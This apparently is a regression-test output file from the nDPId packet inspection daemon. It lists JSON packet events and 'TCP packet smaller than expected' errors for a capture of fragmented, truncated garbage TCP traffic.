-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652669} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652681} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652693} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652706} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652719} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652731} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652746} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652761} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652773} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652795} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652808} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652824} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652836} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":4340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652848} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652865} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652877} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652893} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652905} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652916} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652928} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652942} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652954} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652972} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028652984} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653000} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":4352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653017} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653029} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653041} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653052} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653064} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653079} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653094} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653106} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653118} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653130} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653141} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653155} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653166} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653214} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653231} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653243} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653255} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653268} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028649780,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028653279} 